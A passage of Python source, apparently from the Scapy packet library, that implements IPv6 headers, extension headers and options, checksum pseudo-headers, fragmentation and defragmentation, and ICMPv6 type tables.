t == 130 and len(p) >= 28: # RFC 3810 - 8.1. Query Version Distinctions return ICMPv6MLQuery2 return icmp6typescls.get(t, Raw) return Raw elif self.nh == 135 and len(p) > 3: # Mobile IPv6 return _mip6_mhtype2cls.get(orb(p[2]), MIP6MH_Generic) elif self.nh == 43 and orb(p[2]) == 4: # Segment Routing header return IPv6ExtHdrSegmentRouting return ipv6nhcls.get(self.nh, Raw) class IPv6(_IPv6GuessPayload, Packet, IPTools): name = "IPv6" fields_desc = [BitField("version", 6, 4), BitField("tc", 0, 8), BitField("fl", 0, 20), ShortField("plen", None), ByteEnumField("nh", 59, ipv6nh), ByteField("hlim", 64), SourceIP6Field("src"), DestIP6Field("dst", "::1")] def route(self): """Used to select the L2 address""" dst = self.dst scope = None if isinstance(dst, (Net6, _ScopedIP)): scope = dst.scope if isinstance(dst, (Gen, list)): dst = next(iter(dst)) return conf.route6.route(dst, dev=scope) def mysummary(self): return "%s > %s (%i)" % (self.src, self.dst, self.nh) def post_build(self, p, pay): p += pay if self.plen is None: tmp_len = len(p) - 40 p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p def extract_padding(self, data): """Extract the IPv6 payload""" if self.plen == 0 and self.nh == 0 and len(data) >= 8: # Extract Hop-by-Hop extension length hbh_len = orb(data[1]) hbh_len = 8 + hbh_len * 8 # Extract length from the Jumbogram option # Note: the following algorithm take advantage of the Jumbo option # mandatory alignment (4n + 2, RFC2675 Section 2) jumbo_len = None idx = 0 offset = 4 * idx + 2 while offset <= len(data): opt_type = orb(data[offset]) if opt_type == 0xc2: # Jumbo option jumbo_len = struct.unpack("I", data[offset + 2:offset + 2 + 4])[0] # noqa: E501 break offset = 4 * idx + 2 idx += 1 if jumbo_len is None: log_runtime.info("Scapy did not find a Jumbo option") jumbo_len = 0 tmp_len = hbh_len + jumbo_len else: tmp_len = self.plen return data[:tmp_len], data[tmp_len:] def hashret(self): if self.nh == 58 and isinstance(self.payload, _ICMPv6): if self.payload.type < 128: return self.payload.payload.hashret() elif (self.payload.type in [133, 134, 135, 136, 144, 145]): return struct.pack("B", self.nh) + self.payload.hashret() if not conf.checkIPinIP and self.nh in [4, 41]: # IP, IPv6 return self.payload.hashret() nh = self.nh sd = self.dst ss = self.src if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting): # With routing header, the destination is the last # address of the IPv6 list if segleft > 0 nh = self.payload.nh try: sd = self.addresses[-1] except IndexError: sd = '::1' # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 # noqa: E501 # could be anything from the original list ... if 1: sd = inet_pton(socket.AF_INET6, sd) for a in self.addresses: a = inet_pton(socket.AF_INET6, a) sd = strxor(sd, a) sd = inet_ntop(socket.AF_INET6, sd) if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting): # noqa: E501 # With segment routing header (rh == 4), the destination is # the first address of the IPv6 addresses list try: sd = self.addresses[0] except IndexError: sd = self.dst if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment): nh = self.payload.nh if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop): nh = self.payload.nh if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): foundhao = None for o in self.payload.options: if isinstance(o, HAO): foundhao = o if foundhao: ss = foundhao.hoa nh = self.payload.nh # XXX what if another extension follows ? if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd): sd = inet_pton(socket.AF_INET6, sd) ss = inet_pton(socket.AF_INET6, ss) return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret() # noqa: E501 else: return struct.pack("B", nh) + self.payload.hashret() def answers(self, other): if not conf.checkIPinIP: # skip IP in IP and IPv6 in IP if self.nh in [4, 41]: return self.payload.answers(other) if isinstance(other, IPv6) and other.nh in [4, 41]: return self.answers(other.payload) if isinstance(other, IP) and other.proto in [4, 41]: return self.answers(other.payload) if not isinstance(other, IPv6): # self is reply, other is request return False if conf.checkIPaddr: # ss = inet_pton(socket.AF_INET6, self.src) sd = inet_pton(socket.AF_INET6, self.dst) os = inet_pton(socket.AF_INET6, other.src) od = inet_pton(socket.AF_INET6, other.dst) # request was sent to a multicast address (other.dst) # Check reply destination addr matches request source addr (i.e # sd == os) except when reply is multicasted too # XXX test mcast scope matching ? if in6_ismaddr(other.dst): if in6_ismaddr(self.dst): if ((od == sd) or (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): # noqa: E501 return self.payload.answers(other.payload) return False if (os == sd): return self.payload.answers(other.payload) return False elif (sd != os): # or ss != od): <- removed for ICMP errors return False if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: # noqa: E501 # ICMPv6 Error message -> generated by IPv6 packet # Note : at the moment, we jump the ICMPv6 specific class # to call answers() method of erroneous packet (over # initial packet). There can be cases where an ICMPv6 error # class could implement a specific answers method that perform # a specific task. Currently, don't see any use ... return self.payload.payload.answers(other) elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop): return self.payload.answers(other.payload) elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment): return self.payload.answers(other.payload.payload) elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting): return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501 elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting): # noqa: E501 return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501 elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt): return self.payload.answers(other.payload.payload) elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance # noqa: E501 return self.payload.payload.answers(other.payload) else: if (self.nh != other.nh): return False return self.payload.answers(other.payload) class IPv46(IP, IPv6): """ This class implements a dispatcher that is used to detect the IP version while parsing Raw IP pcap files. """ name = "IPv4/6" @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): if _pkt: if orb(_pkt[0]) >> 4 == 6: return IPv6 elif kargs.get("version") == 6: return IPv6 return IP def inet6_register_l3(l2, l3): """ Resolves the default L2 destination address when IPv6 is used. """ return getmacbyip6(l3.dst) conf.neighbor.register_l3(Ether, IPv6, inet6_register_l3) class IPerror6(IPv6): name = "IPv6 in ICMPv6" def answers(self, other): if not isinstance(other, IPv6): return False sd = inet_pton(socket.AF_INET6, self.dst) ss = inet_pton(socket.AF_INET6, self.src) od = inet_pton(socket.AF_INET6, other.dst) os = inet_pton(socket.AF_INET6, other.src) # Make sure that the ICMPv6 error is related to the packet scapy sent if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128: # find upper layer for self (possible citation) selfup = self.payload while selfup is not None and isinstance(selfup, _IPv6ExtHdr): selfup = selfup.payload # find upper layer for other (initial packet). Also look for RH otherup = other.payload request_has_rh = False while otherup is not None and isinstance(otherup, _IPv6ExtHdr): if isinstance(otherup, IPv6ExtHdrRouting): request_has_rh = True otherup = otherup.payload if ((ss == os and sd == od) or # < Basic case (ss == os and request_has_rh)): # ^ Request has a RH : don't check dst address # Let's deal with possible MSS Clamping if (isinstance(selfup, TCP) and isinstance(otherup, TCP) and selfup.options != otherup.options): # seems clamped # Save fields modified by MSS clamping old_otherup_opts = otherup.options old_otherup_cksum = otherup.chksum old_otherup_dataofs = otherup.dataofs old_selfup_opts = selfup.options old_selfup_cksum = selfup.chksum old_selfup_dataofs = selfup.dataofs # Nullify them otherup.options = [] otherup.chksum = 0 otherup.dataofs = 0 selfup.options = [] selfup.chksum = 0 selfup.dataofs = 0 # Test it and save result s1 = raw(selfup) s2 = raw(otherup) tmp_len = min(len(s1), len(s2)) res = s1[:tmp_len] == s2[:tmp_len] # recall saved values otherup.options = old_otherup_opts otherup.chksum = old_otherup_cksum otherup.dataofs = old_otherup_dataofs selfup.options = old_selfup_opts selfup.chksum = old_selfup_cksum selfup.dataofs = old_selfup_dataofs return res s1 = raw(selfup) s2 = raw(otherup) tmp_len = min(len(s1), len(s2)) return s1[:tmp_len] == s2[:tmp_len] return False def mysummary(self): return Packet.mysummary(self) ############################################################################# ############################################################################# # Upper Layer Checksum computation # ############################################################################# ############################################################################# class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation name = "Pseudo IPv6 Header" fields_desc = [IP6Field("src", "::"), IP6Field("dst", "::"), IntField("uplen", None), BitField("zero", 0, 24), ByteField("nh", 0)] def in6_pseudoheader(nh, u, plen): # type: (int, IP, int) -> PseudoIPv6 """ Build an PseudoIPv6 instance as specified in RFC 2460 8.1 This function operates by filling a pseudo header class instance (PseudoIPv6) with: - Next Header value - the address of _final_ destination (if some Routing Header with non segleft field is present in underlayer classes, last address is used.) - the address of _real_ source (basically the source address of an IPv6 class instance available in the underlayer or the source address in HAO option if some Destination Option header found in underlayer includes this option). - the length is the length of provided payload string ('p') :param nh: value of upper layer protocol :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all under layers (IPv6 and all extension headers, for example) :param plen: the length of the upper layer and payload """ ph6 = PseudoIPv6() ph6.nh = nh rthdr = 0 hahdr = 0 final_dest_addr_found = 0 while u is not None and not isinstance(u, IPv6): if (isinstance(u, IPv6ExtHdrRouting) and u.segleft != 0 and len(u.addresses) != 0 and final_dest_addr_found == 0): rthdr = u.addresses[-1] final_dest_addr_found = 1 elif (isinstance(u, IPv6ExtHdrSegmentRouting) and u.segleft != 0 and len(u.addresses) != 0 and final_dest_addr_found == 0): rthdr = u.addresses[0] final_dest_addr_found = 1 elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and isinstance(u.options[0], HAO)): hahdr = u.options[0].hoa u = u.underlayer if u is None: warning("No IPv6 underlayer to compute checksum. Leaving null.") return None if hahdr: ph6.src = hahdr else: ph6.src = u.src if rthdr: ph6.dst = rthdr else: ph6.dst = u.dst ph6.uplen = plen return ph6 def in6_chksum(nh, u, p): """ As Specified in RFC 2460 - 8.1 Upper-Layer Checksums See also `.in6_pseudoheader` :param nh: value of upper layer protocol :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all under layers (IPv6 and all extension headers, for example) :param p: the payload of the upper layer provided as a string """ ph6 = in6_pseudoheader(nh, u, len(p)) if ph6 is None: return 0 ph6s = raw(ph6) return checksum(ph6s + p) ############################################################################# ############################################################################# # Extension Headers # ############################################################################# ############################################################################# nh_clserror = {socket.IPPROTO_TCP: TCPerror, socket.IPPROTO_UDP: UDPerror} # Inherited by all extension header classes class _IPv6ExtHdr(_IPv6GuessPayload, Packet): name = 'Abstract IPv6 Option Header' aliastypes = [IPv6] def guess_payload_class(self, payload): if self.nh in nh_clserror: underlayer = self.underlayer while underlayer: if isinstance(underlayer, IPerror6): return nh_clserror[self.nh] underlayer = underlayer.underlayer return super(_IPv6ExtHdr, self).guess_payload_class(payload) # IPv6 options for Extension Headers # _hbhopts = {0x00: "Pad1", 0x01: "PadN", 0x04: "Tunnel Encapsulation Limit", 0x05: "Router Alert", 0x06: "Quick-Start", 0xc2: "Jumbo Payload", 0xc9: "Home Address Option"} class _OTypeField(ByteEnumField): """ Modified BytEnumField that displays information regarding the IPv6 option based on its option type value (What should be done by nodes that process the option if they do not understand it ...) It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options """ pol = {0x00: "00: skip", 0x40: "01: discard", 0x80: "10: discard+ICMP", 0xC0: "11: discard+ICMP not mcast"} enroutechange = {0x00: "0: Don't change en-route", 0x20: "1: May change en-route"} def i2repr(self, pkt, x): s = self.i2s.get(x, repr(x)) polstr = self.pol[(x & 0xC0)] enroutechangestr = self.enroutechange[(x & 0x20)] return "%s [%s, %s]" % (s, polstr, enroutechangestr) class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option name = "Scapy6 Unknown Option" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] def alignment_delta(self, curpos): # By default, no alignment requirement """ As specified in section 4.2 of RFC 2460, every options has an alignment requirement usually expressed xn+y, meaning the Option Type must appear at an integer multiple of x octets from the start of the header, plus y octets. That function is provided the current position from the start of the header and returns required padding length. """ return 0 @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[0]) # Option type if o in _hbhoptcls: return _hbhoptcls[o] return cls def extract_padding(self, p): return b"", p class Pad1(Packet): # IPv6 Hop-By-Hop Option name = "Pad1" fields_desc = [_OTypeField("otype", 0x00, _hbhopts)] def alignment_delta(self, curpos): # No alignment requirement return 0 def extract_padding(self, p): return b"", p class PadN(Packet): # IPv6 Hop-By-Hop Option name = "PadN" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] def alignment_delta(self, curpos): # No alignment requirement return 0 def extract_padding(self, p): return b"", p class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option name = "Router Alert" fields_desc = [_OTypeField("otype", 0x05, _hbhopts), ByteField("optlen", 2), ShortEnumField("value", None, {0: "Datagram contains a MLD message", 1: "Datagram contains RSVP message", 2: "Datagram contains an Active Network message", # noqa: E501 68: "NSIS NATFW NSLP", 69: "MPLS OAM", 65535: "Reserved"})] # TODO : Check IANA has not defined new values for value field of RouterAlertOption # noqa: E501 # TODO : Now that we have that option, we should do something in MLD class that need it # noqa: E501 # TODO : IANA has defined ranges of values which can't be easily represented here. # noqa: E501 # iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml def alignment_delta(self, curpos): # alignment requirement : 2n+0 x = 2 y = 0 delta = x * ((curpos - y + x - 1) // x) + y - curpos return delta def extract_padding(self, p): return b"", p class RplOption(Packet): # RFC 6553 - RPL Option name = "RPL Option" fields_desc = [_OTypeField("otype", 0x63, _hbhopts), ByteField("optlen", 4), BitField("Down", 0, 1), BitField("RankError", 0, 1), BitField("ForwardError", 0, 1), BitField("unused", 0, 5), XByteField("RplInstanceId", 0), XShortField("SenderRank", 0)] def alignment_delta(self, curpos): # alignment requirement : 2n+0 x = 2 y = 0 delta = x * ((curpos - y + x - 1) // x) + y - curpos return delta def extract_padding(self, p): return b"", p class Jumbo(Packet): # IPv6 Hop-By-Hop Option name = "Jumbo Payload" fields_desc = [_OTypeField("otype", 0xC2, _hbhopts), ByteField("optlen", 4), IntField("jumboplen", None)] def alignment_delta(self, curpos): # alignment requirement : 4n+2 x = 4 y = 2 delta = x * ((curpos - y + x - 1) // x) + y - curpos return delta def extract_padding(self, p): return b"", p class HAO(Packet): # IPv6 Destination Options Header Option name = "Home Address Option" fields_desc = [_OTypeField("otype", 0xC9, _hbhopts), ByteField("optlen", 16), IP6Field("hoa", "::")] def alignment_delta(self, curpos): # alignment requirement : 8n+6 x = 8 y = 6 delta = x * ((curpos - y + x - 1) // x) + y - curpos return delta def extract_padding(self, p): return b"", p _hbhoptcls = {0x00: Pad1, 0x01: PadN, 0x05: RouterAlert, 0x63: RplOption, 0xC2: Jumbo, 0xC9: HAO} # Hop-by-Hop Extension Header # class _OptionsField(PacketListField): __slots__ = ["curpos"] def __init__(self, name, default, cls, curpos, *args, **kargs): self.curpos = curpos PacketListField.__init__(self, name, default, cls, *args, **kargs) def i2len(self, pkt, i): return len(self.i2m(pkt, i)) def i2m(self, pkt, x): autopad = None try: autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field except Exception: autopad = 1 if not autopad: return b"".join(map(bytes, x)) curpos = self.curpos s = b"" for p in x: d = p.alignment_delta(curpos) curpos += d if d == 1: s += raw(Pad1()) elif d != 0: s += raw(PadN(optdata=b'\x00' * (d - 2))) pstr = raw(p) curpos += len(pstr) s += pstr # Let's make the class including our option field # a multiple of 8 octets long d = curpos % 8 if d == 0: return s d = 8 - d if d == 1: s += raw(Pad1()) elif d != 0: s += raw(PadN(optdata=b'\x00' * (d - 2))) return s def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) class _PhantomAutoPadField(ByteField): def addfield(self, pkt, s, val): return s def getfield(self, pkt, s): return s, 1 def i2repr(self, pkt, x): if x: return "On" return "Off" class IPv6ExtHdrHopByHop(_IPv6ExtHdr): name = "IPv6 Extension Header - Hop-by-Hop Options Header" fields_desc = [ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], HBHOptUnknown, 2, length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501 overload_fields = {IPv6: {"nh": 0}} # Destination Option Header # class IPv6ExtHdrDestOpt(_IPv6ExtHdr): name = "IPv6 Extension Header - Destination Options Header" fields_desc = [ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], HBHOptUnknown, 2, length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501 overload_fields = {IPv6: {"nh": 60}} # Routing Header # class IPv6ExtHdrRouting(_IPv6ExtHdr): name = "IPv6 Option Header Routing" fields_desc = [ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, count_of="addresses", fmt="B", adjust=lambda pkt, x:2 * x), # in 8 bytes blocks # noqa: E501 ByteField("type", 0), ByteField("segleft", None), BitField("reserved", 0, 32), # There is meaning in this field ... # noqa: E501 IP6ListField("addresses", [], length_from=lambda pkt: 8 * pkt.len)] overload_fields = {IPv6: {"nh": 43}} def post_build(self, pkt, pay): if self.segleft is None: pkt = pkt[:3] + struct.pack("B", len(self.addresses)) + pkt[4:] return _IPv6ExtHdr.post_build(self, pkt, pay) # Segment Routing Header # # This implementation is based on RFC8754, but some older snippets come from: # https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06 _segment_routing_header_tlvs = { # RFC 8754 sect 8.2 0: "Pad1 TLV", 1: "Ingress Node TLV", # draft 06 2: "Egress Node TLV", # draft 06 4: "PadN TLV", 5: "HMAC TLV", } class IPv6ExtHdrSegmentRoutingTLV(Packet): name = "IPv6 Option Header Segment Routing - Generic TLV" # RFC 8754 sect 2.1 fields_desc = [ByteEnumField("type", None, _segment_routing_header_tlvs), ByteField("len", 0), StrLenField("value", "", length_from=lambda pkt: pkt.len)] def extract_padding(self, p): return b"", p registered_sr_tlv = {} @classmethod def register_variant(cls): cls.registered_sr_tlv[cls.type.default] = cls @classmethod def dispatch_hook(cls, pkt=None, *args, **kargs): if pkt: tmp_type = ord(pkt[:1]) return cls.registered_sr_tlv.get(tmp_type, cls) return cls class IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV): name = "IPv6 Option Header Segment Routing - Ingress Node TLV" # draft-ietf-6man-segment-routing-header-06 3.1.1 fields_desc = [ByteEnumField("type", 1, _segment_routing_header_tlvs), ByteField("len", 18), ByteField("reserved", 0), ByteField("flags", 0), IP6Field("ingress_node", "::1")] class IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV): name = "IPv6 Option Header Segment Routing - Egress Node TLV" # draft-ietf-6man-segment-routing-header-06 3.1.2 fields_desc = [ByteEnumField("type", 2, _segment_routing_header_tlvs), ByteField("len", 18), ByteField("reserved", 0), ByteField("flags", 0), IP6Field("egress_node", "::1")] class IPv6ExtHdrSegmentRoutingTLVPad1(IPv6ExtHdrSegmentRoutingTLV): name = "IPv6 Option Header Segment Routing - Pad1 TLV" # RFC8754 sect 2.1.1.1, Pad1 is a single byte fields_desc = [ByteEnumField("type", 0, _segment_routing_header_tlvs)] class IPv6ExtHdrSegmentRoutingTLVPadN(IPv6ExtHdrSegmentRoutingTLV): name = "IPv6 Option Header Segment Routing - PadN TLV" # RFC8754 sect 2.1.1.2 fields_desc = [ByteEnumField("type", 4, _segment_routing_header_tlvs), FieldLenField("len", None, length_of="padding", fmt="B"), StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len)] # noqa: E501 class IPv6ExtHdrSegmentRoutingTLVHMAC(IPv6ExtHdrSegmentRoutingTLV): name = "IPv6 Option Header Segment Routing - HMAC TLV" # RFC8754 sect 2.1.2 fields_desc = [ByteEnumField("type", 5, _segment_routing_header_tlvs), FieldLenField("len", None, length_of="hmac", adjust=lambda _, x: x + 48), BitField("D", 0, 1), BitField("reserved", 0, 15), IntField("hmackeyid", 0), StrLenField("hmac", "", length_from=lambda pkt: pkt.len - 48)] class IPv6ExtHdrSegmentRouting(_IPv6ExtHdr): name = "IPv6 Option Header Segment Routing" # RFC8754 sect 2. + flag bits from draft 06 fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteField("type", 4), ByteField("segleft", None), ByteField("lastentry", None), BitField("unused1", 0, 1), BitField("protected", 0, 1), BitField("oam", 0, 1), BitField("alert", 0, 1), BitField("hmac", 0, 1), BitField("unused2", 0, 3), ShortField("tag", 0), IP6ListField("addresses", ["::1"], count_from=lambda pkt: (pkt.lastentry + 1)), PacketListField("tlv_objects", [], IPv6ExtHdrSegmentRoutingTLV, length_from=lambda pkt: 8 * pkt.len - 16 * ( pkt.lastentry + 1 ))] overload_fields = {IPv6: {"nh": 43}} def post_build(self, pkt, pay): if self.len is None: # The extension must be align on 8 bytes tmp_mod = (-len(pkt) + 8) % 8 if tmp_mod == 1: tlv = IPv6ExtHdrSegmentRoutingTLVPad1() pkt += raw(tlv) elif tmp_mod >= 2: # Add the padding extension tmp_pad = b"\x00" * (tmp_mod - 2) tlv = IPv6ExtHdrSegmentRoutingTLVPadN(padding=tmp_pad) pkt += raw(tlv) tmp_len = (len(pkt) - 8) // 8 pkt = pkt[:1] + struct.pack("B", tmp_len) + pkt[2:] if self.segleft is None: tmp_len = len(self.addresses) if tmp_len: tmp_len -= 1 pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:] if self.lastentry is None: lastentry = len(self.addresses) if lastentry == 0: warning( "IPv6ExtHdrSegmentRouting(): the addresses list is empty!" ) else: lastentry -= 1 pkt = pkt[:4] + struct.pack("B", lastentry) + pkt[5:] return _IPv6ExtHdr.post_build(self, pkt, pay) # Fragmentation Header # class IPv6ExtHdrFragment(_IPv6ExtHdr): name = "IPv6 Extension Header - Fragmentation header" fields_desc = [ByteEnumField("nh", 59, ipv6nh), BitField("res1", 0, 8), BitField("offset", 0, 13), BitField("res2", 0, 2), BitField("m", 0, 1), IntField("id", None)] overload_fields = {IPv6: {"nh": 44}} def guess_payload_class(self, p): if self.offset > 0: return Raw else: return super(IPv6ExtHdrFragment, self).guess_payload_class(p) def defragment6(packets): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ # Remove non fragments lst = [x for x in packets if IPv6ExtHdrFragment in x] if not lst: return [] id = lst[0][IPv6ExtHdrFragment].id llen = len(lst) lst = [x for x in lst if x[IPv6ExtHdrFragment].id == id] if len(lst) != llen: warning("defragment6: some fragmented packets have been removed from list") # noqa: E501 # reorder fragments res = [] while lst: min_pos = 0 min_offset = lst[0][IPv6ExtHdrFragment].offset for p in lst: cur_offset = p[IPv6ExtHdrFragment].offset if cur_offset < min_offset: min_pos = 0 min_offset = cur_offset res.append(lst[min_pos]) del lst[min_pos] # regenerate the fragmentable part fragmentable = b"" frag_hdr_len = 8 for p in res: q = p[IPv6ExtHdrFragment] offset = 8 * q.offset if offset != len(fragmentable): warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) # noqa: E501 frag_data_len = p[IPv6].plen if frag_data_len is not None: frag_data_len -= frag_hdr_len fragmentable += b"X" * (offset - len(fragmentable)) fragmentable += raw(q.payload)[:frag_data_len] # Regenerate the unfragmentable part. q = res[0].copy() nh = q[IPv6ExtHdrFragment].nh q[IPv6ExtHdrFragment].underlayer.nh = nh q[IPv6ExtHdrFragment].underlayer.plen = len(fragmentable) del q[IPv6ExtHdrFragment].underlayer.payload q /= conf.raw_layer(load=fragmentable) del q.plen if q[IPv6].underlayer: q[IPv6] = IPv6(raw(q[IPv6])) else: q = IPv6(raw(q)) return q def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. 'fragSize' argument is the expected maximum size of fragment data (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragment class, it is added to first IPv6 layer found. If no IPv6 layer exists packet is returned in result list unmodified. """ pkt = pkt.copy() if IPv6ExtHdrFragment not in pkt: if IPv6 not in pkt: return [pkt] layer3 = pkt[IPv6] data = layer3.payload frag = IPv6ExtHdrFragment(nh=layer3.nh) layer3.remove_payload() del layer3.nh del layer3.plen frag.add_payload(data) layer3.add_payload(frag) # If the payload is bigger than 65535, a Jumbo payload must be used, as # an IPv6 packet can't be bigger than 65535 bytes. if len(raw(pkt[IPv6ExtHdrFragment])) > 65535: warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.") # noqa: E501 return [] s = raw(pkt) # for instantiation to get upper layer checksum right if len(s) <= fragSize: return [pkt] # Fragmentable part : fake IPv6 for Fragmentable part length computation fragPart = pkt[IPv6ExtHdrFragment].payload tmp = raw(IPv6(src="::1", dst="::1") / fragPart) fragPartLen = len(tmp) - 40 # basic IPv6 header length fragPartStr = s[-fragPartLen:] # Grab Next Header for use in Fragment Header nh = pkt[IPv6ExtHdrFragment].nh # Keep fragment header fragHeader = pkt[IPv6ExtHdrFragment] del fragHeader.payload # detach payload # Unfragmentable Part unfragPartLen = len(s) - fragPartLen - 8 unfragPart = pkt del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload # Cut the fragmentable part to fit fragSize. Inner fragments have # a length that is an integer multiple of 8 octets. last Frag MTU # can be anything below MTU lastFragSize = fragSize - unfragPartLen - 8 innerFragSize = lastFragSize - (lastFragSize % 8) if lastFragSize <= 0 or innerFragSize == 0: warning("Provided fragment size value is too low. " + "Should be more than %d" % (unfragPartLen + 8)) return [unfragPart / fragHeader / fragPart] remain = fragPartStr res = [] fragOffset = 0 # offset, incremeted during creation fragId = random.randint(0, 0xffffffff) # random id ... if fragHeader.id is not None: # ... except id provided by user fragId = fragHeader.id fragHeader.m = 1 fragHeader.id = fragId fragHeader.nh = nh # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ... while True: if (len(remain) > lastFragSize): tmp = remain[:innerFragSize] remain = remain[innerFragSize:] fragHeader.offset = fragOffset # update offset fragOffset += (innerFragSize // 8) # compute new one if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart / fragHeader / conf.raw_layer(load=tmp) res.append(tempo) else: fragHeader.offset = fragOffset # update offSet fragHeader.m = 0 if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart / fragHeader / conf.raw_layer(load=remain) res.append(tempo) break return res ############################################################################# ############################################################################# # ICMPv6* Classes # ############################################################################# ############################################################################# icmp6typescls = {1: "ICMPv6DestUnreach", 2: "ICMPv6PacketTooBig", 3: "ICMPv6TimeExceeded", 4: "ICMPv6ParamProblem", 128: "ICMPv6EchoRequest", 129: "ICMPv6EchoReply", 130: "ICMPv6MLQuery", # MLDv1 or MLDv2 131: "ICMPv6MLReport", 132: "ICMPv6MLDone", 133: "ICMPv6ND_RS", 134: "ICMPv6ND_RA", 135: "ICMPv6ND_NS", 136: "ICMPv6ND_NA", 137: "ICMPv6ND_Redirect", # 138: Do Me - RFC 2894 - Seems painful 139: "ICMPv6NIQuery", 140: "ICMPv6NIReply", 141: "ICMPv6ND_INDSol", 142: "ICMPv6ND_INDAdv", 143: "ICMPv6MLReport2", 144: "ICMPv6HAADRequest", 145: "ICMPv6HAADReply", 146: "ICMPv6MPSol", 147: "ICMPv6MPAdv", # 148: Do Me - SEND related - RFC 3971 # 149: Do Me - SEND related - RFC 3971 151: "ICMPv6MRD_Advertisement", 152: "ICMPv6MRD_Solicitation", 153: "ICMPv6MRD_Termination", # 154: Do Me - FMIPv6 Messages - RFC 5568 155: "ICMPv6RPL", # RFC 6550 } icmp6typesminhdrlen = {1: 8, 2: 8, 3: 8, 4: 8, 128: 8, 129: 8, 130: 24, 131: 24, 132: 24, 133: 8, 134: 16, 135: 24, 136: 24, 137: 40, # 139: # 140 141: 8, 142: 8, 143: 8, 144: 8, 145: 8, 146: 8, 147: 8, 151: 8, 152: 4, 153: 4, 155: 4 } icmp6types = {1: "Destination unreachable", 2: "Packet too big", 3: "Time exceeded", 4: "Parameter problem", 100: "Private Experimentation", 101: "Private Experimentation", 128: "Echo Request", 129: "Echo Reply", 130: "MLD Query", 131: "MLD Report", 132: "MLD Done", 133: "Router Solicitation", 134: "Router Advertisement", 135: "Neighbor Solicitation", 136: "Neighbor Advertisement", 137: "Redirect Message", 138: "Router Renumbering", 139: "ICMP Node Information Query", 140: "ICMP Node Information Response", 141: "Inverse Neighbor Discovery Solicitation Message", 142: "Inverse Neighbor Discovery Advertisement Message", 143: "MLD Report Version 2", 144: "Home Agent Address Discovery Request Message", 145: "Home Agent Address Discovery Reply Message", 146: "Mobile Prefix Solicitation", 147: "Mobile Prefix Advertisement", 148: "Certification Path Solicitation", 149: "Certification Path Advertisement", 151: "Multicast Router Advertisement", 152: "Multicast Router Solicitation", 153: "Multicast Router Termination", 155: "RPL Control Message", 200: "Private Experimentation", 201: "Private Experimentation"} class _ICMPv6(Packet): name = "ICMPv6 dummy class" overload_fields = {IPv6: {"nh": 58}} def post_build(self, p, pay): p += pay if self.cksum is None: chksum = in6_chksum(58, self.underlayer, p) p = p[:2] + struct.pack("!H", chksum) + p[4:] return p def hashret(self): return 